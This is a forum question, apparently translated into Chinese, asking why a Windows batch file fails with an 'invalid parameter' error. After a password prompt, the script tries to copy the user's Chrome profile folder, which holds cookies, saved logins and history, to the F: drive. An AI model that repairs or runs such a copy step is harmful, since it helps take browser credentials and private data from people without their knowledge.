0
我試圖設計一個軟件並需要一個批處理文件來幫助。不幸的是它不工作。它需要將Appdata文件複製到F驅動器。錯誤消息是「無效的參數」。代碼如下。批處理文件參數問題
@echo off
::checking password
set /p passguess=What is the password?:
if %passguess% == 2973 goto end
::Copying...
xcopy C:\Users\%username%\AppData\Local\Google\Chrome\User Data\Default [F:\] [/Y]
timeout /t 10
goto vend
:end
::Here if password is correct
echo You surpassed "the thing"
timeout /t 10
:vend